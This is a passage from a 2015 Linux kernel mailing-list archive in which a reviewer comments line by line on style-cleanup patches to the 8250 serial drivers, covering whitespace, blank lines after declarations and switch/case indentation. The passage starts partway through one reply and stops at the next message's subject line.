> diff --git a/drivers/tty/serial/8250/8250_exar_st16c554.c b/drivers/t=
ty/serial/8250/8250_exar_st16c554.c
> index bf53aab..999f2d3 100644
> --- a/drivers/tty/serial/8250/8250_exar_st16c554.c
> +++ b/drivers/tty/serial/8250/8250_exar_st16c554.c
> @@ -13,7 +13,7 @@
>  #include <linux/init.h>
>  #include <linux/serial_8250.h>
> =20
> -#define PORT(_base,_irq)				\
> +#define PORT(_base, _irq)				\

Ok

>  	{						\
>  		.iobase		=3D _base,		\
>  		.irq		=3D _irq,			\
> diff --git a/drivers/tty/serial/8250/8250_fourport.c b/drivers/tty/se=
rial/8250/8250_fourport.c
> index be15826..9a04a8a 100644
> --- a/drivers/tty/serial/8250/8250_fourport.c
> +++ b/drivers/tty/serial/8250/8250_fourport.c
> @@ -10,7 +10,7 @@
>  #include <linux/init.h>
>  #include <linux/serial_8250.h>
> =20
> -#define PORT(_base,_irq)						\
> +#define PORT(_base, _irq)						\

Ok

>  	{								\
>  		.iobase		=3D _base,				\
>  		.irq		=3D _irq,					\
> diff --git a/drivers/tty/serial/8250/8250_hp300.c b/drivers/tty/seria=
l/8250/8250_hp300.c
> index 2891958..38d8cb2 100644
> --- a/drivers/tty/serial/8250/8250_hp300.c
> +++ b/drivers/tty/serial/8250/8250_hp300.c
> @@ -125,6 +125,7 @@ int __init hp300_setup_serial_console(void)
>  	} else {
>  #ifdef CONFIG_HPDCA
>  		unsigned long pa =3D dio_scodetophysaddr(scode);
> +
>  		if (!pa)
>  			return 0;

Not ok.

This is a particularly good example of how bad that style is.
The relevant code is the call to dio_scode_tophysaddr() _not the if (!p=
a)_

Newline after uninitialized vars - ok.
Newline after initialized vars - not ok. Unless trivial initialization =
and
you wrote it.


> diff --git a/drivers/tty/serial/8250/8250_hub6.c b/drivers/tty/serial=
/8250/8250_hub6.c
> index a5c778e..27124e2 100644
> --- a/drivers/tty/serial/8250/8250_hub6.c
> +++ b/drivers/tty/serial/8250/8250_hub6.c
> @@ -10,7 +10,7 @@
>  #include <linux/init.h>
>  #include <linux/serial_8250.h>
> =20
> -#define HUB6(card,port)							\
> +#define HUB6(card, port)						\

ok

>  	{								\
>  		.iobase		=3D 0x302,				\
>  		.irq		=3D 3,					\
> diff --git a/drivers/tty/serial/8250/8250_pci.c b/drivers/tty/serial/=
8250/8250_pci.c
> index 4097f3f..ed99fdf 100644
> --- a/drivers/tty/serial/8250/8250_pci.c
> +++ b/drivers/tty/serial/8250/8250_pci.c
> @@ -113,6 +113,7 @@ static int addidata_apci7800_setup(struct serial_=
private *priv,
>  				struct uart_8250_port *port, int idx)
>  {
>  	unsigned int bar =3D 0, offset =3D board->first_offset;
> +

not ok

>  	bar =3D FL_GET_BASE(board->flags);
> =20
>  	if (idx < 2) {
> @@ -1115,6 +1116,7 @@ static struct quatech_feature quatech_cards[] =3D=
 {
>  static int pci_quatech_amcc(u16 devid)
>  {
>  	struct quatech_feature *qf =3D &quatech_cards[0];
> +

not ok

>  	while (qf->devid) {
>  		if (qf->devid =3D=3D devid)
>  			return qf->amcc;
> @@ -1200,6 +1202,7 @@ static int pci_quatech_test(struct uart_8250_po=
rt *port)
>  {
>  	u8 reg;
>  	u8 qopr =3D pci_quatech_rqopr(port);
> +

Swap the declaration order and its ok. IOW,

+ 	u8 qopr =3D pci_quatech_rqopr(port);
+ 	u8 reg;
+

or even better

+ 	u8 reg, qopr;
+
+ 	qopr =3D pci_quatech_rqopr(port);

>  	pci_quatech_wqopr(port, qopr & QPCR_TEST_FOR1);
>  	reg =3D pci_quatech_rqopr(port) & 0xC0;
>  	if (reg !=3D QPCR_TEST_GET1)
> @@ -1284,8 +1287,10 @@ static int pci_quatech_init(struct pci_dev *de=
v)
>  {
>  	if (pci_quatech_amcc(dev->device)) {
>  		unsigned long base =3D pci_resource_start(dev, 0);
> +

not ok


>  		if (base) {
>  			u32 tmp;
> +

ok

>  			outl(inl(base + 0x38) | 0x00002000, base + 0x38);
>  			tmp =3D inl(base + 0x3c);
>  			outl(tmp | 0x01000000, base + 0x3c);
> @@ -4502,7 +4507,7 @@ static struct pci_device_id serial_pci_tbl[] =3D=
 {
>  		PCI_ANY_ID, PCI_ANY_ID, 0, 0,
>  		pbn_b0_bt_2_921600 },
>  	{	PCI_VENDOR_ID_OXSEMI, PCI_DEVICE_ID_OXSEMI_16PCI958,
> -		PCI_ANY_ID , PCI_ANY_ID, 0, 0,
> +		PCI_ANY_ID, PCI_ANY_ID, 0, 0,

ok

>  		pbn_b2_8_1152000 },
> =20
>  	/*
> diff --git a/drivers/tty/serial/8250/8250_port.c b/drivers/tty/serial=
/8250/8250_port.c
> index 52d82d2..ae8f993 100644
> --- a/drivers/tty/serial/8250/8250_port.c
> +++ b/drivers/tty/serial/8250/8250_port.c
> @@ -1327,6 +1327,7 @@ static void serial8250_start_tx(struct uart_por=
t *port)
> =20
>  		if (up->bugs & UART_BUG_TXEN) {
>  			unsigned char lsr;
> +

ok

>  			lsr =3D serial_in(up, UART_LSR);
>  			up->lsr_saved_flags |=3D lsr & LSR_SAVE_FLAGS;
>  			if (lsr & UART_LSR_THRE)
> @@ -1734,8 +1735,10 @@ static void wait_for_xmitr(struct uart_8250_po=
rt *up, int bits)
>  	/* Wait up to 1s for flow control if necessary */
>  	if (up->port.flags & UPF_CONS_FLOW) {
>  		unsigned int tmout;
> +

ok

>  		for (tmout =3D 1000000; tmout; tmout--) {
>  			unsigned int msr =3D serial_in(up, UART_MSR);
> +

not ok

>  			up->msr_saved_flags |=3D msr & MSR_SAVE_FLAGS;
>  			if (msr & UART_MSR_CTS)
>  				break;
> diff --git a/drivers/tty/serial/8250/serial_cs.c b/drivers/tty/serial=
/8250/serial_cs.c
> index 4d180c9..f5270ba 100644
> --- a/drivers/tty/serial/8250/serial_cs.c
> +++ b/drivers/tty/serial/8250/serial_cs.c
> @@ -257,7 +257,7 @@ static const struct serial_quirk quirks[] =3D {
>  };
> =20
> =20
> -static int serial_config(struct pcmcia_device * link);
> +static int serial_config(struct pcmcia_device *link);

ok

> =20
> =20
>  static void serial_remove(struct pcmcia_device *link)
> @@ -309,7 +309,7 @@ static int serial_probe(struct pcmcia_device *lin=
k)
>  	dev_dbg(&link->dev, "serial_attach()\n");
> =20
>  	/* Create new serial device */
> -	info =3D kzalloc(sizeof (*info), GFP_KERNEL);
> +	info =3D kzalloc(sizeof(*info), GFP_KERNEL);

ok

>  	if (!info)
>  		return -ENOMEM;
>  	info->p_dev =3D link;
> @@ -339,7 +339,7 @@ static void serial_detach(struct pcmcia_device *l=
ink)
> =20
>  /*=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D*/
> =20
> -static int setup_serial(struct pcmcia_device *handle, struct serial_=
info * info,
> +static int setup_serial(struct pcmcia_device *handle, struct serial_=
info *info,

ok

>  			unsigned int iobase, int irq)
>  {
>  	struct uart_8250_port uart;
> @@ -600,7 +600,7 @@ static int serial_check_for_multi(struct pcmcia_d=
evice *p_dev,  void *priv_data)
>  }
> =20
> =20
> -static int serial_config(struct pcmcia_device * link)
> +static int serial_config(struct pcmcia_device *link)

ok

>  {
>  	struct serial_info *info =3D link->priv;
>  	int i;
> @@ -701,7 +701,7 @@ static const struct pcmcia_device_id serial_ids[]=
 =3D {
>  	PCMCIA_PFC_DEVICE_PROD_ID12(1, "LINKSYS", "PCMLM336", 0xf7cb0b07, 0=
x7a821b58),
>  	PCMCIA_PFC_DEVICE_PROD_ID12(1, "MEGAHERTZ", "XJEM1144/CCEM1144", 0x=
f510db04, 0x52d21e1e),
>  	PCMCIA_PFC_DEVICE_PROD_ID12(1, "MICRO RESEARCH", "COMBO-L/M-336", 0=
xb2ced065, 0x3ced0555),
> -	PCMCIA_PFC_DEVICE_PROD_ID12(1, "NEC", "PK-UG-J001" ,0x18df0ba0 ,0x8=
31b1064),
> +	PCMCIA_PFC_DEVICE_PROD_ID12(1, "NEC", "PK-UG-J001", 0x18df0ba0, 0x8=
31b1064),

ok


>  	PCMCIA_PFC_DEVICE_PROD_ID12(1, "Ositech", "Trumpcard:Jack of Diamon=
ds Modem+Ethernet", 0xc2f80cd, 0x656947b9),
>  	PCMCIA_PFC_DEVICE_PROD_ID12(1, "Ositech", "Trumpcard:Jack of Hearts=
 Modem+Ethernet", 0xc2f80cd, 0xdc9ba5ed),
>  	PCMCIA_PFC_DEVICE_PROD_ID12(1, "PCMCIAs", "ComboCard", 0xdcfe12d3, =
0xcd8906cc),
> @@ -797,30 +797,30 @@ static const struct pcmcia_device_id serial_ids=
[] =3D {
>  	PCMCIA_DEVICE_CIS_PROD_ID123("ADVANTECH", "COMpad-32/85", "1.0", 0x=
96913a85, 0x8fbe92ae, 0x0877b627, "cis/COMpad2.cis"),
>  	PCMCIA_DEVICE_CIS_PROD_ID2("RS-COM 2P", 0xad20b156, "cis/RS-COM-2P.=
cis"),
>  	PCMCIA_DEVICE_CIS_MANF_CARD(0x0013, 0x0000, "cis/GLOBETROTTER.cis")=
,
> -	PCMCIA_DEVICE_PROD_ID12("ELAN DIGITAL SYSTEMS LTD, c1997.","SERIAL =
CARD: SL100  1.00.",0x19ca78af,0xf964f42b),
> -	PCMCIA_DEVICE_PROD_ID12("ELAN DIGITAL SYSTEMS LTD, c1997.","SERIAL =
CARD: SL100",0x19ca78af,0x71d98e83),
> -	PCMCIA_DEVICE_PROD_ID12("ELAN DIGITAL SYSTEMS LTD, c1997.","SERIAL =
CARD: SL232  1.00.",0x19ca78af,0x69fb7490),
> -	PCMCIA_DEVICE_PROD_ID12("ELAN DIGITAL SYSTEMS LTD, c1997.","SERIAL =
CARD: SL232",0x19ca78af,0xb6bc0235),
> -	PCMCIA_DEVICE_PROD_ID12("ELAN DIGITAL SYSTEMS LTD, c2000.","SERIAL =
CARD: CF232",0x63f2e0bd,0xb9e175d3),
> -	PCMCIA_DEVICE_PROD_ID12("ELAN DIGITAL SYSTEMS LTD, c2000.","SERIAL =
CARD: CF232-5",0x63f2e0bd,0xfce33442),
> -	PCMCIA_DEVICE_PROD_ID12("Elan","Serial Port: CF232",0x3beb8cf2,0x17=
1e7190),
> -	PCMCIA_DEVICE_PROD_ID12("Elan","Serial Port: CF232-5",0x3beb8cf2,0x=
20da4262),
> -	PCMCIA_DEVICE_PROD_ID12("Elan","Serial Port: CF428",0x3beb8cf2,0xea=
5dd57d),
> -	PCMCIA_DEVICE_PROD_ID12("Elan","Serial Port: CF500",0x3beb8cf2,0xd7=
7255fa),
> -	PCMCIA_DEVICE_PROD_ID12("Elan","Serial Port: IC232",0x3beb8cf2,0x6a=
709903),
> -	PCMCIA_DEVICE_PROD_ID12("Elan","Serial Port: SL232",0x3beb8cf2,0x18=
430676),
> -	PCMCIA_DEVICE_PROD_ID12("Elan","Serial Port: XL232",0x3beb8cf2,0x6f=
933767),
> -	PCMCIA_MFC_DEVICE_PROD_ID12(0,"Elan","Serial Port: CF332",0x3beb8cf=
2,0x16dc1ba7),
> -	PCMCIA_MFC_DEVICE_PROD_ID12(0,"Elan","Serial Port: SL332",0x3beb8cf=
2,0x19816c41),
> -	PCMCIA_MFC_DEVICE_PROD_ID12(0,"Elan","Serial Port: SL385",0x3beb8cf=
2,0x64112029),
> -	PCMCIA_MFC_DEVICE_PROD_ID12(0,"Elan","Serial Port: SL432",0x3beb8cf=
2,0x1cce7ac4),
> -	PCMCIA_MFC_DEVICE_PROD_ID12(0,"Elan","Serial+Parallel Port: SP230",=
0x3beb8cf2,0xdb9e58bc),
> -	PCMCIA_MFC_DEVICE_PROD_ID12(1,"Elan","Serial Port: CF332",0x3beb8cf=
2,0x16dc1ba7),
> -	PCMCIA_MFC_DEVICE_PROD_ID12(1,"Elan","Serial Port: SL332",0x3beb8cf=
2,0x19816c41),
> -	PCMCIA_MFC_DEVICE_PROD_ID12(1,"Elan","Serial Port: SL385",0x3beb8cf=
2,0x64112029),
> -	PCMCIA_MFC_DEVICE_PROD_ID12(1,"Elan","Serial Port: SL432",0x3beb8cf=
2,0x1cce7ac4),
> -	PCMCIA_MFC_DEVICE_PROD_ID12(2,"Elan","Serial Port: SL432",0x3beb8cf=
2,0x1cce7ac4),
> -	PCMCIA_MFC_DEVICE_PROD_ID12(3,"Elan","Serial Port: SL432",0x3beb8cf=
2,0x1cce7ac4),
> +	PCMCIA_DEVICE_PROD_ID12("ELAN DIGITAL SYSTEMS LTD, c1997.", "SERIAL=
 CARD: SL100  1.00.", 0x19ca78af, 0xf964f42b),
> +	PCMCIA_DEVICE_PROD_ID12("ELAN DIGITAL SYSTEMS LTD, c1997.", "SERIAL=
 CARD: SL100", 0x19ca78af, 0x71d98e83),
> +	PCMCIA_DEVICE_PROD_ID12("ELAN DIGITAL SYSTEMS LTD, c1997.", "SERIAL=
 CARD: SL232  1.00.", 0x19ca78af, 0x69fb7490),
> +	PCMCIA_DEVICE_PROD_ID12("ELAN DIGITAL SYSTEMS LTD, c1997.", "SERIAL=
 CARD: SL232", 0x19ca78af, 0xb6bc0235),
> +	PCMCIA_DEVICE_PROD_ID12("ELAN DIGITAL SYSTEMS LTD, c2000.", "SERIAL=
 CARD: CF232", 0x63f2e0bd, 0xb9e175d3),
> +	PCMCIA_DEVICE_PROD_ID12("ELAN DIGITAL SYSTEMS LTD, c2000.", "SERIAL=
 CARD: CF232-5", 0x63f2e0bd, 0xfce33442),
> +	PCMCIA_DEVICE_PROD_ID12("Elan", "Serial Port: CF232", 0x3beb8cf2, 0=
x171e7190),
> +	PCMCIA_DEVICE_PROD_ID12("Elan", "Serial Port: CF232-5", 0x3beb8cf2,=
 0x20da4262),
> +	PCMCIA_DEVICE_PROD_ID12("Elan", "Serial Port: CF428", 0x3beb8cf2, 0=
xea5dd57d),
> +	PCMCIA_DEVICE_PROD_ID12("Elan", "Serial Port: CF500", 0x3beb8cf2, 0=
xd77255fa),
> +	PCMCIA_DEVICE_PROD_ID12("Elan", "Serial Port: IC232", 0x3beb8cf2, 0=
x6a709903),
> +	PCMCIA_DEVICE_PROD_ID12("Elan", "Serial Port: SL232", 0x3beb8cf2, 0=
x18430676),
> +	PCMCIA_DEVICE_PROD_ID12("Elan", "Serial Port: XL232", 0x3beb8cf2, 0=
x6f933767),
> +	PCMCIA_MFC_DEVICE_PROD_ID12(0, "Elan", "Serial Port: CF332", 0x3beb=
8cf2, 0x16dc1ba7),
> +	PCMCIA_MFC_DEVICE_PROD_ID12(0, "Elan", "Serial Port: SL332", 0x3beb=
8cf2, 0x19816c41),
> +	PCMCIA_MFC_DEVICE_PROD_ID12(0, "Elan", "Serial Port: SL385", 0x3beb=
8cf2, 0x64112029),
> +	PCMCIA_MFC_DEVICE_PROD_ID12(0, "Elan", "Serial Port: SL432", 0x3beb=
8cf2, 0x1cce7ac4),
> +	PCMCIA_MFC_DEVICE_PROD_ID12(0, "Elan", "Serial+Parallel Port: SP230=
", 0x3beb8cf2, 0xdb9e58bc),
> +	PCMCIA_MFC_DEVICE_PROD_ID12(1, "Elan", "Serial Port: CF332", 0x3beb=
8cf2, 0x16dc1ba7),
> +	PCMCIA_MFC_DEVICE_PROD_ID12(1, "Elan", "Serial Port: SL332", 0x3beb=
8cf2, 0x19816c41),
> +	PCMCIA_MFC_DEVICE_PROD_ID12(1, "Elan", "Serial Port: SL385", 0x3beb=
8cf2, 0x64112029),
> +	PCMCIA_MFC_DEVICE_PROD_ID12(1, "Elan", "Serial Port: SL432", 0x3beb=
8cf2, 0x1cce7ac4),
> +	PCMCIA_MFC_DEVICE_PROD_ID12(2, "Elan", "Serial Port: SL432", 0x3beb=
8cf2, 0x1cce7ac4),
> +	PCMCIA_MFC_DEVICE_PROD_ID12(3, "Elan", "Serial Port: SL432", 0x3beb=
8cf2, 0x1cce7ac4),
>  	PCMCIA_DEVICE_MANF_CARD(0x0279, 0x950b),
>  	/* too generic */
>  	/* PCMCIA_MFC_DEVICE_MANF_CARD(0, 0x0160, 0x0002), */

ok


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Peter Hurley <peter@hurleysoftware.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.serial,gmane.linux.kernel
Subject: Re: [PATCH 02/11] tty: serial: 8250: Fix indentation warnings
Date: Wed, 16 Dec 2015 08:49:35 -0800
Lines: 176
Approved: news@gmane.org
Message-ID: <5671961F.2080304@hurleysoftware.com>
References: <1450280177-4460-1-git-send-email-anton.wuerfel@fau.de>
 <1450280177-4460-3-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1450284593 26370 80.91.229.3 (16 Dec 2015 16:49:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 16 Dec 2015 16:49:53 +0000 (UTC)
Cc: linux-serial@vger.kernel.org,
	Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
	Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Andy Shevchenko <andriy.shevchenko@linux.intel.com>,
	Qipeng Zha <qipeng.zha@intel.com>,
	Desmond Liu <desmondl@broadcom.com>,
	Wang Long <long.wanglong@huawei.com>,
	Matt Redfearn <matt.redfearn@imgtec.com>,
	Paul Burton <paul.burton@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	Krzysztof Kozlowski <k.kozlowski@samsung.com>,
	Peter Hung <hpeter@gmail.com>,
	Soeren Grunewald <soeren.grunewald@desy.de>,
	Adam Lee <adam.lee@canonical.com>,
	"Maciej S. Szmigiero" <mail@maciej.szmigiero.name>,
	Mans Rullgard <mans@mansr.com>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-kernel@i4.cs.fau.de,
	Phillip Raffeck <phillip.raffe
To: Anton Wuerfel <anton.wuerfel@fau.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Dec 16 17:49:42 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1a9FGm-0005xB-DF
	for glpp-linux-parisc@plane.gmane.org; Wed, 16 Dec 2015 17:49:40 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754768AbbLPQtj convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 16 Dec 2015 11:49:39 -0500
Original-Received: from mail-pf0-f174.google.com ([209.85.192.174]:36822 "EHLO
	mail-pf0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754764AbbLPQti (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 16 Dec 2015 11:49:38 -0500
Original-Received: by mail-pf0-f174.google.com with SMTP id o64so14691298pfb.3
        for <linux-parisc@vger.kernel.org>; Wed, 16 Dec 2015 08:49:38 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=hurleysoftware-com.20150623.gappssmtp.com; s=20150623;
        h=subject:to:references:cc:from:message-id:date:user-agent
         :mime-version:in-reply-to:content-type:content-transfer-encoding;
        bh=/iw2GwkzHa9T4bT410GNkIxY89B8kr8WMBRbdl/aXqk=;
        b=hvf3Xyu1Snv3BdUgfNc3+LDQYD+EGE/lIBiFxFBOx0ZxT/ZMsNwjHlRf8y7A97X5Il
         uazuV10OrR5insK7Jt1k87U/gdx8bftxMBgwvqOVQYeAAsvOfWQ3iZ4AOrZIzolIKLTs
         JhwFvruHr/cSttqwnkvBw6Wa4zxS3eHfYgZ4mgZTimxUzk/Php2Ahi7m1Mhel7qQvmk5
         B70LygU12Rv4WxwlsXD2aIva7MElEGpwydrgAXuJ6nk1HJeoTWpiEOLIIW9ictSGGNRz
         vhlhujmdvTKbyQ/mK0fqeM1aTnj5sS+6n7+/wT2t+qrj6rFgr16YLXarkvkEJpdVpZr7
         +z6Q==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:subject:to:references:cc:from:message-id:date
         :user-agent:mime-version:in-reply-to:content-type
         :content-transfer-encoding;
        bh=/iw2GwkzHa9T4bT410GNkIxY89B8kr8WMBRbdl/aXqk=;
        b=Nmdc0eWlFKS5xGY0PQknoVENmYtatzWdiZzZ6zQJQDnEJ9eLGWbnHd4sR33SopuGFr
         bLq8kJATVa9eJrGTrvCPPxLBQnDYsq8sCb92tLzEQ8i8at6ch79kQDeS9liYQ8/4P7yL
         0axv503w5NlbFE4N9wWv8JC9Wc6ANWwZNGzqurNOpcfgppKP0AHAWXs1F/1Wl3GA6T4r
         DK4LcBdRW8apRUboNgH2CepuHsDDeB1Wg/m7UJstd0q/z77aFLyPZzwkTqT+KDiFsjol
         dfwBeRfwyyUdjNGoWR0X/ieMzROW9gFu+RiKMOnSTOw1YTKnFPMzU7MTRGEwjf8ydsvR
         tqTQ==
X-Gm-Message-State: ALoCoQn9VqV8t57UkFmZ12JjUUefGZVBEMzmofv6KpBL2E4u+t/xaZNCTOkgmsH7DFG2Ec7IW82J8gu5j2ttPA861mQgDdeVkQ==
X-Received: by 10.98.75.206 with SMTP id d75mr6863859pfj.58.1450284578033;
        Wed, 16 Dec 2015 08:49:38 -0800 (PST)
Original-Received: from [192.168.1.4] (50-1-116-74.dsl.dynamic.fusionbroadband.com. [50.1.116.74])
        by smtp.gmail.com with ESMTPSA id ux2sm10284828pac.46.2015.12.16.08.49.36
        (version=TLSv1/SSLv3 cipher=OTHER);
        Wed, 16 Dec 2015 08:49:37 -0800 (PST)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.4.0
In-Reply-To: <1450280177-4460-3-git-send-email-anton.wuerfel@fau.de>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26201 gmane.linux.serial:21114 gmane.linux.kernel:2109935
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26201>

Hi Anton,

On 12/16/2015 07:36 AM, Anton Wuerfel wrote:
> Checkpatch complains about incorrect indentation of switch/case state=
ments.
> This patch fixes the corresponding warnings. Additionally some indent=
ation
> is changed to match the correct format specified in the Linux Kernel
> Coding Style.

This patch needs split; separate the "leading spaces instead of tabs" f=
rom
the "GNU-style indent level".

Personally, I don't think it's worth changing existing code to meet the
GNU indent style unless it's being rewritten for some other reason.
But Greg's the maintainer, so it's his choice.

Regards,
Peter Hurley


> Signed-off-by: Anton W=C3=BCrfel <anton.wuerfel@fau.de>
> Signed-off-by: Phillip Raffeck <phillip.raffeck@fau.de>
> CC: linux-kernel@i4.cs.fau.de
> ---
>  drivers/tty/serial/8250/8250_pci.c  | 31 +++++++++++++++------------=
----
>  drivers/tty/serial/8250/8250_pnp.c  |  4 ++--
>  drivers/tty/serial/8250/8250_port.c | 14 +++++++-------
>  3 files changed, 24 insertions(+), 25 deletions(-)
>=20
> diff --git a/drivers/tty/serial/8250/8250_pci.c b/drivers/tty/serial/=
8250/8250_pci.c
> index ed99fdf..41508a5 100644
> --- a/drivers/tty/serial/8250/8250_pci.c
> +++ b/drivers/tty/serial/8250/8250_pci.c
> @@ -722,7 +722,7 @@ static int pci_ni8430_init(struct pci_dev *dev)
>  	 */
>  	pcibios_resource_to_bus(dev->bus, &region, &dev->resource[bar]);
>  	device_window =3D ((region.start + MITE_IOWBSR1_WIN_OFFSET) & 0xfff=
fff00)
> -	                | MITE_IOWBSR1_WENAB | MITE_IOWBSR1_WSIZE;
> +			| MITE_IOWBSR1_WENAB | MITE_IOWBSR1_WSIZE;
>  	writel(device_window, p + MITE_IOWBSR1);
> =20
>  	/* Set window access to go to RAMSEL IO address space */
> @@ -843,17 +843,16 @@ static int pci_netmos_init(struct pci_dev *dev)
>  		return 0;
> =20
>  	switch (dev->device) { /* FALLTHROUGH on all */
> -		case PCI_DEVICE_ID_NETMOS_9904:
> -		case PCI_DEVICE_ID_NETMOS_9912:
> -		case PCI_DEVICE_ID_NETMOS_9922:
> -		case PCI_DEVICE_ID_NETMOS_9900:
> -			num_serial =3D pci_netmos_9900_numports(dev);
> -			break;
> +	case PCI_DEVICE_ID_NETMOS_9904:
> +	case PCI_DEVICE_ID_NETMOS_9912:
> +	case PCI_DEVICE_ID_NETMOS_9922:
> +	case PCI_DEVICE_ID_NETMOS_9900:
> +		num_serial =3D pci_netmos_9900_numports(dev);
> +		break;
> =20
> -		default:
> -			if (num_serial =3D=3D 0 ) {
> -				moan_device("unknown NetMos/Mostech device", dev);
> -			}
> +	default:
> +		if (num_serial =3D=3D 0)
> +			moan_device("unknown NetMos/Mostech device", dev);
>  	}
> =20
>  	if (num_serial =3D=3D 0)
> @@ -1766,7 +1765,7 @@ xr17v35x_has_slave(struct serial_private *priv)
>  	const int dev_id =3D priv->dev->device;
> =20
>  	return ((dev_id =3D=3D PCI_DEVICE_ID_EXAR_XR17V4358) ||
> -	        (dev_id =3D=3D PCI_DEVICE_ID_EXAR_XR17V8358));
> +		(dev_id =3D=3D PCI_DEVICE_ID_EXAR_XR17V8358));
>  }
> =20
>  static int
> @@ -1866,8 +1865,8 @@ pci_fastcom335_setup(struct serial_private *pri=
v,
> =20
>  static int
>  pci_wch_ch353_setup(struct serial_private *priv,
> -                    const struct pciserial_board *board,
> -                    struct uart_8250_port *port, int idx)
> +		    const struct pciserial_board *board,
> +		    struct uart_8250_port *port, int idx)
>  {
>  	port->port.flags |=3D UPF_FIXED_TYPE;
>  	port->port.type =3D PORT_16550A;
> @@ -1876,8 +1875,8 @@ pci_wch_ch353_setup(struct serial_private *priv=
,
> =20
>  static int
>  pci_wch_ch38x_setup(struct serial_private *priv,
> -                    const struct pciserial_board *board,
> -                    struct uart_8250_port *port, int idx)
> +		    const struct pciserial_board *board,
> +		    struct uart_8250_port *port, int idx)
>  {
>  	port->port.flags |=3D UPF_FIXED_TYPE;
>  	port->port.type =3D PORT_16850;
> diff --git a/drivers/tty/serial/8250/8250_pnp.c b/drivers/tty/serial/=
8250/8250_pnp.c
> index 658b392..1f18065 100644
> --- a/drivers/tty/serial/8250/8250_pnp.c
> +++ b/drivers/tty/serial/8250/8250_pnp.c
> @@ -425,8 +425,8 @@ static int check_resources(struct pnp_dev *dev)
>  static int serial_pnp_guess_board(struct pnp_dev *dev)
>  {
>  	if (!(check_name(pnp_dev_name(dev)) ||
> -		(dev->card && check_name(dev->card->name))))
> -			return -ENODEV;
> +	    (dev->card && check_name(dev->card->name))))
> +		return -ENODEV;
> =20
>  	if (check_resources(dev))
>  		return 0;
> diff --git a/drivers/tty/serial/8250/8250_port.c b/drivers/tty/serial=
/8250/8250_port.c
> index ae8f993..57ad0f2 100644
> --- a/drivers/tty/serial/8250/8250_port.c
> +++ b/drivers/tty/serial/8250/8250_port.c
> @@ -52,7 +52,7 @@
>  #define DEBUG_AUTOCONF(fmt...)	do { } while (0)
>  #endif
> =20
> -#define BOTH_EMPTY 	(UART_LSR_TEMT | UART_LSR_THRE)
> +#define BOTH_EMPTY	(UART_LSR_TEMT | UART_LSR_THRE)
> =20
>  /*
>   * Here we define the default xmit fifo size used for each type of U=
ART.
> @@ -2236,9 +2236,9 @@ static void serial8250_set_divisor(struct uart_=
port *port, unsigned int baud,
>  		serial_port_out(port, 0x2, quot_frac);
>  }
> =20
> -static unsigned int
> -serial8250_get_baud_rate(struct uart_port *port, struct ktermios *te=
rmios,
> -			 struct ktermios *old)
> +static unsigned int serial8250_get_baud_rate(struct uart_port *port,
> +					     struct ktermios *termios,
> +					     struct ktermios *old)
>  {
>  	unsigned int tolerance =3D port->uartclk / 100;
> =20
> @@ -2253,9 +2253,9 @@ serial8250_get_baud_rate(struct uart_port *port=
, struct ktermios *termios,
>  				  (port->uartclk + tolerance) / 16);
>  }
> =20
> -void
> -serial8250_do_set_termios(struct uart_port *port, struct ktermios *t=
ermios,
> -		          struct ktermios *old)
> +void serial8250_do_set_termios(struct uart_port *port,
> +			       struct ktermios *termios,
> +			       struct ktermios *old)
>  {
>  	struct uart_8250_port *up =3D up_to_u8250p(port);
>  	unsigned char cval;
>=20

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Peter Hurley <peter@hurleysoftware.com>
Newsgroups: gmane.linux.kernel,gmane.linux.serial,gmane.linux.ports.parisc
Subject: Re: [PATCH 04/11] tty: serial: 8250: Fix multiline comment style
